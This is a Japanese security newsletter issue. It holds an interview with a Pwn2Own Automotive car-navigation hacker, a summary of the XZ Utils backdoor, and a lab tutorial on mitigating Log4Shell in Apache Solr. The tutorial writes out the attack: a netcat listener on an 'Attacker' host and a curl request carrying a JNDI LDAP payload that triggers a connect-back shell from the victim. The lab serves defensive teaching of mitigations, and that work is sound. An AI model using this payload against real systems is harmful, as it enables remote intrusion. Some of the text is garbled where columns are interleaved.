TABLEOFCONTE

N

TS

長年の経験がハッキング（システム攻略）の勘どころを磨く !!

佐藤 勝彦（a.k.a goroh_kun）インタビュー… …………………………………………… 3
社会のさまざまな動向を把握し、リスクの変化に対応したセキュリティ体制を構築

HISYS CSI（Cyber Security Intelligence）Watch 2024.05………………………………… 8
セキュリティツールを実践的に紹介する連載企画

Let's Try 脆弱性検証 + 緩和策適用

2 . 緩和策設定編… …………………………………… 9●はじめに本文書は、株式会社日立システムズ サイバーセキュリティリサーチセンタが運営するセキュリティ情報サイト、S.S.R.C.(Shield SecurityResearch Center) の公開資料です。本サイトでは、本文書のバックナンバーをはじめ、S.S.R.C. によるリサーチ結果などを随時公開しています。
S.S.R.C. https://www.shield.ne.jp/ssrc/●ご利用条件
本文書内の文章等すべての情報掲載に当たりまして、株式会社日立システムズ（以下、「当社」といいます。）と致しましても細心の注意を払っておりますが、その内容に誤りや欠陥があった場合にも、いかなる保証もするものではありません。本文書をご利用いただいたことにより生じた損害につきましても、当社は一切責任を負いかねます。
本文書に記載した会社名・製品名は各社の商標または登録商標です。
本文書に掲載されている情報は、掲載した時点のものです。掲載した時点以降に変更される場合もありますので、あらかじめご了承ください。
本文書の一部または全部を著作権法が定める範囲を超えて複製・転載することを禁じます。
© Hitachi Systems, Ltd. 2024. All rights reserved.

2

長年の経験がハッキング（システム攻略）の勘どころを磨く!!

佐藤 勝彦（a.k.a. goroh_kun）

インタビュー

取材・文・撮影 = 斉藤健一
2024 年 1 月下旬、自動車関連に特化した脆弱性発見コンテストの Pwn2Own Automotive が日本で初開催された。今回、ご登場いただく佐藤勝彦氏は、このコンテストに日本人個人として唯一参加した人物だ。goroh_kun のハンドルネームで活動し、かつては、Android スマートフォンの管理権限取得ツールの公開や、DEFCON Car Hacking Village 開催コンテストでの優勝経験などを持つ。インタビューでは
Pwn2Own Automotive に参戦した感想をはじめ、長年の経験に裏打ちされたハッキングの勘どころなどについて話を伺った。

Pwn2Own Automotive 参戦記
斉藤（以下）：まず Pwn2Own Automotive 出場の経緯を教えて下さい。
佐藤（以下）：自動車関連に特化した脆弱性発

見コンテストが、オートモーティブワールドという展示会で初開催されるということをプレスリリースで知り、関心を持っていました。その後、ターゲットとなる機器に日本メーカーのカーナビ（インフォテイメントシステム）が含まれていることがわかりました。これらの機器を公に解析し、脆弱性を発見したと堂々と言えるまたとない機会になると思い、参加することにしました。

佐藤 勝彦（さとう・かつひこ a.k.a. goroh_kun）

個人として参加されたのですか。

大学卒業後、音楽機器メーカー・家電機器メーカーで、製品のデバッグを担当するエンジニアとして活躍。
その後、セキュリティ企業の創業メンバーとして名を連ね、2019 年には IoT 機器のシステム解析をはじめとした調査研究に特化した企業を設立、CTO を務める。また、個人としても goroh_kun のハンドルネー
ムで活動。2010 年代には CTF チームの sutegoma2メンバーとして活躍したり、Android スマートフォンのジェイルブレイクツールを公開したり、DEFCON
26 Car Hacking Village のコンテストでの優勝経験などを持つ。

はい。個人での参加です。
Pwn2Own Automotive の 競 技 は 2024 年 1 月
24 日から 26 日の開催でした。大会へのエントリー
はいつ頃されたのですか？
締切間近の 1 月 13 日だったと記憶しています。
そうなると競技への準備期間は約 10 日ほどです。エントリー前から対象となる機器の調査は進めていたのですか。
今回は、S 社・P 社・A 社のカーナビ製品の脆弱性探しにエントリーしました。どの製品も手に3組み込まれたハードウェアを制御するための基礎的なソフトウェア。OSとは異なる）のアップデートに焦点を絞ることにしました。
なるほど。
ファームウェア・アップデートに焦点を絞ったのはメーカーへの配慮という側面もあります。仮に製品に使用されるチップの脆弱性を発見したとしても、それはチップベンダーやミドルウェアベンダーが対応すべき問題であり、製品を販売しているメーカーの責任の範囲外となりま
Pwn2Own Automotive 会場の様子。参加者は壇上で競技を行うす。ですから、そうしたチップの脆したのはエントリー後なのですが、実はここに落カーも困惑してしまいます。その一方、USB 経とし穴がありました。というのも、ターゲット製由のファームウェアアップデートはメーカーごと品は日本メーカー製なのですが、日本国内では販の独自色が出ている部分であり、報告すればメー売していないものが含まれていたのです。同じ製カー自身で修正できる範囲なのです。

弱性をメーカーに報告しても、メーわかりました。調査というかシステム攻略の手品を海外から輸入することは、時間的に間に合い法についてもう少し詳しく教えて下さい。

ません。そこで、型番は異なるけれど同一の系統だと思われる製品を Amazon で注文したり、個人お話できる範囲ということになります。S 社製

輸入した方が日本国内のオークションサイトに出品では、ファームウェア・アップデート機能のバ品したものを落札したりして入手しました。

イナリ（2 進数で表現されたデータ形式）ファイ製品の入手にそんな苦労があったのですね。まルを解析すると、ファームウェアがどのような手た、準備期間が想像していたよりも短くて少し驚法で正規のものか確認され、どのような暗号化をきました。製品それぞれの調査に要した時間はどしているかがわかります。そこで、偽装したファーれくらいでしたか。

ムウェアを用いてアップデートさせました。A 社と P 社の製品では、偽装したファームウェア・アッ製品によりさまざまです。数時間で済んだもの

プデートが入った USB メモリを挿すと同時に発動もあれば、数日間かかったものもありました。

する脆弱性を発見することができたので、これを数時間とは驚きです。調査するポイントはあら利用しています。

かじめ絞り込んでいたのでしょうか。

Pwn2Own Automotive を 主 催 す る Zero Day

はい。調査のポイントは Pwn2Own Automotiveのルールとも関係します。競技ではプレイヤーはInitiative が公開している競技結果 ※ 1 を見ると、ユーザーと同じ操作しかできません。例えば、機佐藤さんは、初日に A 社製品、2 日目に S 社製品器のケースを開けて分解したり、基板に何かを半のハックに成功していますが、3 日目の P 社製品田付けしたりするようなことは禁止されています。

では失敗しています。これには何か原因があった

操作はネットワーク経由か USB 経由となります。

のですか。
先ほど、型番は違うけれど同じ系列と思われる

そこで、USB 経由のファームウェア（電子機器に※ 1 PWN2OWN AUTOMOTIVE 2024 RESULTS
DAY ONEhttps://www.zerodayinitiative.com/blog/2024/1/24/pwn2own-automotive-2024-day-one-results

DAY TWO

https://www.zerodayinitiative.com/blog/2024/1/24/pwn2own-automotive-2024-day-two-results

DAY THREE https://www.zerodayinitiative.com/blog/2024/1/25/pwn2own-automotive-2024-day-three-results

4

製品を Amazon で入手したというお話をしましたが、これが P 社の製品でした。海外の製品と日本で入手できる製品とでは一部の仕様が異なっていました。どちらも脆弱性がありエクスプロイト（ 攻撃コード）を実行できるのですが、それを利用して書き換えるメモリのアドレスが違っていたのです。
まあ、このお話をするとどんな攻撃をしたのか容易に推測できてしまいますが（笑）。
メモリのアドレスが違っているとどんなことが起こりますか。
システムがクラッシュするだけカーナビの管理者権限取得に挑戦する佐藤氏（スクリーン右）。競技は大勢の聴衆が見守る中で行われる。MC による実況中継も入るため、競技者の緊張の度合いも高まる

で す。Pwn2Own Automotive で は、 機 器 の 画 面

ターゲットごとに賞金金額が設定されていま表示を書き換えたり、リモートからシェルの画面す。カーナビでは最高 4 万ドルとなっています。

を表示させたりすること（外部から機器にネットこの賞金を全額手に入れられるのは最初に成功しワーク経由で接続できること）が、競技成功の条た人物で、2 番手以降の成功者は半額となる仕組件となっていました。ですから、エクスプロイトみです。ちなみにトライの順番はくじ引きによっ（攻撃コード）が実行できただけでは成功とは認て決まります。また、S 社製品については、発見められなかったのです。

した脆弱性が他のプレイヤーが既に発見したもの本当に惜しかったですね。私も初日に会場を取だったとして減額の対象となりました。

材したのですが、その時の佐藤さんのトライでは獲得賞金についてはくじ引きという「運」の要何度かやり直しをされていました。この時はどん素もあるのですね。今回、Pwn2Own Automotiveな状況だったのでしょうか。

に参加されてどのような印象を持たれましたか。

結論を先に言うと、接続する機器の IP アドレ

参加してよかったと思うのは、主催者が事前にスを間違って入力したのです（笑）。大勢の観客ターゲットとなる製品を告知して、その脆弱性をの前で実演するとは思っていませんでしたから、発見したら賞金や賞品を授与してくれる点だと思

正直かなり緊張していました。また、私が大会のいます。別の言い方をすれば、主催者によるお墨ルールを勘違いしていた部分もあります。私自身付きがあるということです。仮に、自分たちで製は 30 分の間に競技が成功すればよいと考えてい品の脆弱性を探して勝手に公表したとすれば、そたのですが、運営の人から 1 回 10 分のトライをれは日本においては問題となる可能性が高いです

3 回までというルールをその場で聞かされ、さらから。

に緊張の度合いが高まりました。

確かに。脆弱性探しをする人たちの法的リスク

確かにその状況は緊張しますね。それでも、IPへの配慮はとても重要です。

アドレスの間違いが発見できてなによりです。ちまた、脆弱性を発見したことをその場で公表しなみに獲得賞金はどれほどだったのでしょうか。

てもらえる点もよいですね。これまで、脆弱性のA 社製品のハックで 2 万ドル、S 社製品のハッ報告から情報の公開までには、相当の時間を要す

クで 1 万ドル、合計 3 万ドル（1 ドル 150 円換算ることも珍しくなく、場合によっては公開が 1 年で 450 万円）を獲得しました。

後とかになることもあります。また、その扱いも製品によって獲得賞金に違いがありますが、こCVE で発見者として名前が触れられる程度です。れには何か理由があるのでしょうか。

その一方で、Pwn2Own のようなイベントであれ
5

身のスキルをどのように考えていますか。例えば他者と比べて視点が違っていたり、あるいは、人の知らないところで努力を続けていたりとかはあるのでしょうか。
どうでしょう。私自身は元々大学でセキュリティを学んでいた人間ではありません。自分の中ではデバッグ（プログラムのバグを発見し不具合を特定・修正する作業）を続けてきただけなんです。大学卒業後、音楽機器メーカーで 3 年間、家電機器メーカーで 5 年間、エンジニアとしてデバッグを担当してきました。その後、独立して携帯電話のミドルウェアやアプリなどを対象に仕事をしています。
そういったバックグラウンドをお持ちなのですね。
脆弱性とは、システムの不具合の中で他者にインタビューは佐藤氏の会社が所有するキャンピングカーの中で行われた。佐藤氏自身、複数の大学で教壇に立ったり、共同よるコントロールが可能、もしくは壊せる状態に研究を行ったりしているので、大量の機材とともに移動しなく至ったものです。結局のところはバグでしかありてはならないことが多いという。キャンピングカーでの移動は、そうした事態の解決策なのだそうだ

ません。私自身はデバッグの専門家としてやってば、発見者は大いに注目されますし、脆弱性発見きて、今もその延長線上にいるのです。
デバッグの延長線上にハックがあると。

により賞金も授与されます。
その意味からすると、自らのプレゼンスをアはい。仕事関連から案件を通じた異なる分野まピールしたい組織や人、もしくはお金を稼ぎたいで、いろいろなものをデバッグしてきました。長人たちに向いているということになりますね。年の経験から、どこをデバッグすればバグがたくさん出てきそうかという勘どころはあると思いま長年の経験がハッキングの勘どころを磨くす。また、以前からバイナリもたくさん読んでいネットで佐藤さんの経歴をざっと調べてみまし

バッグの過程で、バグの原因が自分たちの作ったた。2018 年の DEFCON26 で、Car Hacking Village

ところではない、さらに深いところにあるとわかのコンテストの 1 つで優勝したり※ 2、さらにさかることがあります。その深いところを作った人た

のぼれば Android スマートフォンの管理権限取得

ちは、必ずしもソースコードを公開してくれていツールを公開したり※ 3 されています。

るわけではありません。ですから、やらざるを得ますが、それは必要に迫られているからです。デないのです。

実は、2022 年の DEFCON30 では会社のメンバーと Car Hacking Village CTF にも出場しています※ 4。

佐藤さんご自身の感覚としては、何か特別な努

本当にいろいろなシステムを攻略されています

力をしたというわけではなく、仕事を追求した結果、今に至っているということなのですね。

ね。私のような一般人からすると、何か特別な才これまでの「やらざるを得ない」の積み重ねが能のように思えてなりません。佐藤さんは、ご自※ 2 DEFCON 26 の Car Hacking Village のコンテストでイエラエセキュリティ佐藤氏圧勝https://scan.netsecurity.ne.jp/article/2018/08/17/41292.html※ 3 goroh_kun の X（旧 Twitter）のポスト
https://x.com/goroh_kun/status/310882363083198465※ 4 DEF CON 30 Car Hacking Village CTF 備忘録 ~ 首位から 4 位への転落 ~https://www.00one.jp/blog/defcon30-chvctf-jpn/

6キャリア形成につながっているのだと思います。

を取得した機器に脆弱性を含めた問題が発見された場合、調査や対応にかかわる費用が付帯するサ

目標は OEM を含めた製品全体のイバー保険で補償されます。

セキュリティ体制作りなるほど。さまざまな費用がサイバー保険から支払われるというのは、メーカーからすると受け佐藤さんの今後の目標をお聞かせ下さい。仕事入れやすくて負担も少なそうです。

上でも個人のものでも構いません。

ただ、メーカーの開発事情も変化しています。

自分がこれまでやってきたことは、会社も含め以前は自社開発だったものが、現在では中国や韓て「デバッグ屋」さんだと思っています。そして、国の OEM 製品がほとんどです。また、各社ごとデバッグは何のためにしているのかと言えば、製の製品カスタマイズについてもコストを重視する品のバグを潰して、メーカーの要望に応えるためあまり、セキュリティを考慮していないケースがです。これをメーカーの負担が少ない形で行える数多く見受けられるのです。ですから、こうした仕組みを作っていきたいと考えています。

製品全体のセキュリティに対応できる組織を作っメーカーの負担が少ないとはどういう意味でていきたいと考えています。OEM 製品の大元に脆しょう。

弱性が見つかった場合に一斉通知できる仕組みを私の会社において活動している組織の 1 つに作ったり、あわせて各社が独自にカスタマイズし「CCDS（Connected Consumer Device Securityた部分もチェックできる体制にもしていきたいとcouncil：重要生活機器連携セキュリティ協議会）」考えます。

※5があります。ネットワークに接続したり、他市場に出ているスマート製品では、大元の製品の機器と連携して使用したりする機器を対象としに脆弱性が見つかると、連鎖して他社の OEM 製品ており、セキュリティ技術の調査研究やガイドラにも影響が及ぶことが多いと聞きます。その意味イン策定の検討、啓発活動などを行っています。

から、OEM を含めた製品全体のセキュリティは非伺ってはじめて知りました。

常に重要な分野です。今後の活動に注目していき仮に、CCDS のサーティフィケーション（認定）たいと思います。本日はありがとうございました。

※ 5 CCDS（Connected Consumer Device Security council：重要生活機器連携セキュリティ協議会）
https://www.ccds.or.jp/

7

社会のさまざまな動向を把握し、リスクの変化に対応したセキュリティ体制を構築

HISYS CSI（Cyber Security Intelligence）Watch 2024.05
文＝ SHIELD Security Research Centerれている。
XZ Utils の開発に悪意を持って入り込んだ② 2022 年 4 月頃より、XZ Utils の当初からの開発人物とバックドアを仕込んだ経緯者に対して Jia Tan のパッチが取り込まれていないことに対する苦情を送る人物が現れ、その【概要】：2024 年 3 月、広く利用されている XZ

人物は他の開発者に交代するように圧力をかけ始めた。

Utils にバックドアが存在することが判明した。このバックドアは約 2 年半という長期の活動で信頼③その結果、2023 年 1 月には Jia Tan は XZ Utilsを得て開発メンバーに入り込んだ Jia Tan という人の開発者に就任し、コードの修正承認・リリー物によって仕込まれていた。どの組織においても、スなどの権限が付与されている。これ以降、苦悪意を持つ人物が入り込んだ場合に同様のことが情を送っていた人物の活動はなく、Jia Tan を開起きるおそれがある。そのため、権限を持つ者の発メンバーに入れるためだけに活動していたと考えられる。

任命には人物の適格性を確認する必要がある。

④権限が付与された翌年の 2024 年 2 月、Jia Tan【内容】：2024 年 3 月、組み込みシステムなどで広は悪意あるコードを含む XZ Utils をリリースしく使われている圧縮ライブラリ XZ Utils にバックた。

ドアが存在することが判明した。このバックドア

上記の経緯から、Jia Tan は長期間にわたってソは、2024 年 2 月にリリースされたバージョンに仕フトウェアの開発に貢献し、信頼を得ると同時に、込まれており、開発者の一員である Jia Tan によっ自身を開発メンバーに迎え入れざるを得ない状況て仕掛けられていた。本事例は、約 2 年半というに仕向け、計画的に入り込んだことが読み取れる。

長期間の活動を通して悪意を持った人物が開発メ

このことから、Jia Tan や苦情を送っていた人物はンバーに入り込んだことから注目されている。

実在する人物ではなく、XZ Utils の開発に入り込

OSS の開発コミュニティにおいては、定期的にむために用意されたペルソナであり、その背後にバグの修正パッチを提供するなど、開発に貢献すは国家の支援を受けた攻撃者がいると考えられる。

る人ほど発言力があり、管理権限付きの開発メン

本事例のように、どの組織でも悪意を持つ人物バーに招待されることもある。本稿では、Jia Tanが入り込んだ場合に同様のことが起きる可能性ががこのコミュニティ文化を利用して開発メンバーある。実際に、問題の発覚後に Jia Tan が関与したとなった経緯を解説する。他の OSS で同様の被害が起きていないかをそれぞ① Jia Tan は 2021 年 1 月に登場し、複数の OSSれのコミュニティが精査した結果、一部の処理が開発に携わり、修正パッチの提供などを行っ脆弱性を引き起こすおそれのあるものに置き換えてきた。また、2021 年 10 月より Jia Tan は XZられていたことが判明している。長期間にわたっ

Utils の開発に着手し、開発者のメーリングリスて内部に入り込まれている可能性があることを前トに無害なパッチの提供をはじめた。その後も提に、権限を持つポジションへの任命には、その計 4 回ほどパッチを提供し、その一部が適用さ人物の適格性を判断する必要がある。

［情報源］https://tukaani.org/xz-backdoor/
https://research.swtch.com/xz-timeline
https://boehs.org/node/everything-i-know-about-the-xz-backdoor

8

セキュリティツールを実践的に紹介する連載企画

Let's try 脆弱性検証 + 緩和策適用

2． 緩和策設定編

文＝ SHIELD Security Research Center1．はじめに
本稿は、各種セキュリティツールなどを実践的に紹介する連載企画です。前号からはじまった第四部「脆弱性検証 + 緩和策適用」では、2021 年に確認され、広範囲に影響を及ぼした Apache Log4j の脆弱性（CVE-2021-44228）を悪用する攻撃、通称 Log4Shell の体験を通して、緩和策適用のための設定、予防に必要なログ取得の設定などを確認します。JVN iPdedia では、「Log4j には JNDI Lookup 機能による外部入力値の検証不備に起因して任意の Java コードを実行可能な脆弱性が存在します」と解説されており、その深刻度も「緊急」や「危険」と評価されています※ 1。
第四部「脆弱性検証 + 緩和策適用」は以下の構成となっており、そのイメージを図 1 に示します。
1． 脆弱性（Log4j）体験編
仮想環境上に Apache Solr を構築し、Apache Solr に内包された Log4j の脆弱性（CVE-2021-44228）の体験します。
2． 緩和策設定編
Log4j の脆弱性（CVE-2021-44228）が公開されたタイミング（パッチがまだ公開されていないことを想定）での推奨されている緩和策 (mitigation) を試行します。
3. ログ取得設定編
Log4j の脆弱性を悪用する攻撃、通称 Log4Shell において、取得可能なログの一部を確認します。
今回は、②緩和策設定編として、Apache Solr に 2 つの緩和策を設定し、Log4j の脆弱性（CVE-202144228）の緩和策として有効であることを確認します。なお、本稿の安全性には留意していますが、安全を保証するものではありません。また、OA 端末で実施するのではなく、分離された回線内および機器を利用することを推奨します。また、本稿はセキュリティ対策の共有を目的として提供されています。
本稿から得た知識は倫理的かつ法律を遵守した範囲で使用し、悪用しないようお願いします。
ログ取得設定

緩和策設定

脆弱性体験
攻撃サーバー（ホスト名：Attacker）

やられサーバー（ホスト名：Victim）

図 1 第四部「脆弱性検証 + 緩和策適用」全体の構成と、今号で扱う内容（赤字部分）※ 1 https://jvndb.jvn.jp/ja/contents/2021/JVNDB-2021-005429.html

92．緩和策の適用検討
重大な脆弱性が発見された際、すぐに修正されたソフトウェアなどが公開されるとは限りません。
そのような場合には、緩和策の適用を検討します。
実際、Apache Solr においては以下のタイムラインであったと推測されます。
2021 年 11 月末頃

脆弱性 (CVE-2021-44228) の議論が開始される

2021 年 12 月 10 日 脆弱性 (CVE-2021-44228) が修正された log4j 2.15.0 が公開される
2021 年 12 月 11 日 Apache Solr への影響が公表される↓2021 年 12 月 15 日 修正版 Apache Solr

8.11.1 が公開される【注】日付は日本時間。また、同時公開された他の脆弱性修正漏れ対応などは除く【参考 URL】
https://issues.apache.org/jira/browse/LOG4J2-3198
https://solr.apache.org/security.html#apache-solr-affected-by-apache-log4j-cve-2021-44228
https://archive.apache.org/dist/lucene/solr/8.11.1/

本来であれば、Apache Solr 公式ページに記載される緩和策の適用を検討するのが一般的ですが、今回は、Log4j の脆弱性（CVE-2021-44228）に一般的に有効とされる JndiLookup クラスをクラスパスから削除する緩和策の有効性を確認します※ 2。

また、いくつかの文献では、FW などによるアクセス制御に言及がありましたので、FW による緩和が有効かどうかについても確認します。なお、本稿では緩和策の有効性などを確認しますが、あくまでも一時的な対応を目的としたものです。緩和策での運用継続を推奨するものではありません。
修正プログラムが公開された際には、影響等の確認後、速やかに適用することを検討してください。
※ 2 https://www.jpcert.or.jp/at/2021/at210050.html

103．緩和策による脆弱性対応の実施
3.1 class ファイルの削除
Log4j の脆弱性（CVE-2021-44228）に一般的に有効とされる JndiLookup クラスをクラスパスから削除する緩和策を確認します。
3.1.1 事前準備
やられサーバー（victim-CentOS）を、スナップショット機能を用いて脆弱性検証前に戻します。

3.1.2 JndiLookup.class の削除
やられサーバー（Victim）で、以下のコマンドを実行し、solr でライブラリとしてロードされている log4j-core-X.X.X.jar が存在することを確認します。
# find /opt/solr/ -name log4j*.jar
検索の結果、脆弱性の影響を受けるバージョンである、2 つの log4j-core-2.14.1.jar が solr でライブラリとして利用されていることが確認できました。

今回は Web インターフェース経由での脆弱性検証を行っています。そのため、後者が脆弱性検証の影響を受ける log4j と判断し、緩和策の適用を行います。次のコマンドを入力してください。
# zipinfo /opt/solr/server/lib/ext/log4j-core-2.14.1.jar | grep
JndiLookup「zipinfo」は ZIP ファイル内に収納されているファイルの一覧やサイズなどの情報を表示するコマンドです。緩和策の適用対象となる「JndiLookup.class」ファイルの存在が確認できます。

11

「JndiLookup.class」ファイルの存在が確認できましたので、実際に緩和策を適用していきます。次のコマンドを入力してください。
# zip -q -d /opt/solr/server/lib/ext/log4j-core-2.14.1.jar org/
apache/logging/log4j/core/lookup/JndiLookup.class# zipinfo /opt/solr/server/lib/ext/log4j-core-2.14.1.jar | grep
JndiLookup
zip コマンドで「log4j-core-2.14.1.jar」より「JndiLookup.class」ファイルを削除しています。削除が成功すると、zipinfo コマンドにより「JndiLookup.class」ファイルが表示されず、削除されていることが確認できます。これらのコマンドの実行結果を次に示します。

3.1.3 効果の確認「JndiLookup.class」を削除する緩和策により脆弱性の悪用が失敗する事ことを確認します。
Attacker で、以下のコマンドを実行し、netcat プログラムを利用して 1234 ポートで待ち受けをします。
# nc -lnvp 1234
nc が 1234 番ポートで待ち受けていることを確認してください。

次に、Ctl+Alt+F2 を入力し、別のターミナルへ移動します。別のターミナルへ移動したら、次のコマンドを実行します。
# curl ‘http://Victim の IP アドレス :8983/solr/admin/cores?foo=$\{jndi:ldap://Attcker の IP アドレス :1234

このコマンドでは、8983 番ポートで待ち受けている Apache Solr に HTTP 接続し、foo パラメー
ターに、Log4Shell の検証コードを入力しています。
コマンド入力後、特段変わった表示はされません。

これにより、「JndiLookup.class」を削除する緩和策が、有効であることを確認できました。

12

3.2．アクセス制御による緩和策の実施
次はいくつかの文献で言及があった、FW などによるアクセス制御での緩和策の有効性についても確認します。
3.2.1 事前準備
やられサーバー（victim-CentOS）を、スナップショット機能を用いて脆弱性検証前に戻します。

3.2.2 脆弱性の検証
スナップショット機能を用いて緩和策を適用する前の状態にリバートした ( 戻した ) 事を確認するため、今一度、Log4Shell 攻撃が成功する事を確認します。Attacker で、以下のコマンドを実行し、netcat プログラムを利用して 1234 ポートで待ち受けをします。
# nc -lnvp 1234
nc が 1234 番ポートで待ち受けていることを確認してください。

次に、Ctl+Alt+F2 を入力し、別のターミナルへ移動します。別のターミナルへ移動したら、次のコマンドを実行します。
# curl ‘http://Victim の IP アドレス :8983/solr/admin/cores?foo=$\{jndi:ldap://Attcker の IP アドレス :1234

このコマンドでは、8983 番ポートで待ち受けている Apache Solr に HTTP 接続し、foo パラメー
ターに、Log4Shell の検証コードを入力しています。
コマンド入力後、特段変わった表示はされません。

13

次に、Ctl+Alt+F1 を入力し、nc が 1234 番ポートで待ち受けているターミナルへ戻ると、次の画面の通り、攻撃が成功、Log4j の脆弱性 (2021-44228) が悪用され、やられサーバーからのコネクトバック通信が発生していることが確認できます。

3.2.3 FW によるアウトバンドポートの閉口
Log4j の脆弱性を悪用されコネクトバック通信が発生しています。このコネクトバック通信自体を制御することで、Log4Shell 攻撃の成功を緩和することが可能と考えられます。コネクトバッ
ク通信自体を制御する方法はいくつかありますが、CentOS のデフォルトの FW である「firewalld」を用いてアウトバンドポートの閉口を行い、緩和策として有効であるかの確認を行います。次のコマンドを入力してください。
# firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -m state--state NEW –o enp0s3 -j DROP次のとおり、success が表示されることを確認します。

このルールの適用により、サーバからインターネットに向けて発生する通信を遮断する形になります。
入力が終わりましたら、次のコマンドを入力してください。
# firewall-cmd --direct --get-all-rules次のとおり、FW に設定が入っていることを確認してください。

3.2.4 効果の確認
アウトバンドポートの閉口という緩和策により、脆弱性の悪用ができない事を確認します。
Attacker で、以下のコマンドを実行し、netcat プログラムを利用して 1234 ポートで待ち受けをします。
# nc -lnvp 123414

nc が 1234 番ポートで待ち受けていることを確認してください。

次に、Ctl+Alt+F2 を入力し、別のターミナルへ移動します。別のターミナルへ移動したら、次のコマンドを実行します。
# curl ‘http://Victim の IP アドレス :8983/solr/admin/cores?foo=$\{jndi:ldap://Attcker の IP アドレス :1234
このコマンドでは、8983 番ポートで待ち受けている Apache Solr に HTTP 接続し、foo パラメー
ターに、Log4Shell の検証コードを入力しています。
コマンド入力後、特段変わった表示はされません。

次に、Ctl+Alt+F1 を入力し、nc が 1234 番ポートで待ち受けているターミナルへ戻ると、今回は攻撃が成功しておらず、やられサーバー（Victim）からの通信が発生していません。

FW によってアクセス制御を実施することにより、今回の脆弱性を悪用する検証コードを利用した攻撃に対しては、緩和策として有効に動作する可能性があることを確認できました。
また、今回の様に、アウトバンドポートを閉口しておくと、システムアップデートなどができず、違った側面から脆弱となる可能性があり、当該脆弱性以外の脆弱性等の影響を受ける可能性があります。

15

6．おわりに
今回は、②緩和策設定編として、仮想環境上に Apache Solr を構築し、Apache Solr に緩和策を設定し、Log4j の脆弱性（CVE-2021-44228）の緩和策として有効であることを確認しました。
次回は、③ログ取得設定編として、Log4j の脆弱性（CVE-2021-44228）に関わる攻撃を受けた際、FW ログなどを適切に設定することにより、攻撃を事後に確認できる可能性を確認します。

ログ取得設定

緩和策設定

脆弱性体験
攻撃サーバー（ホスト名：Attacker）

やられサーバー（ホスト名：Victim）

図 2 第四部「脆弱性検証 + 緩和策適用」全体の構成と、次号で扱う内容（赤字部分）

16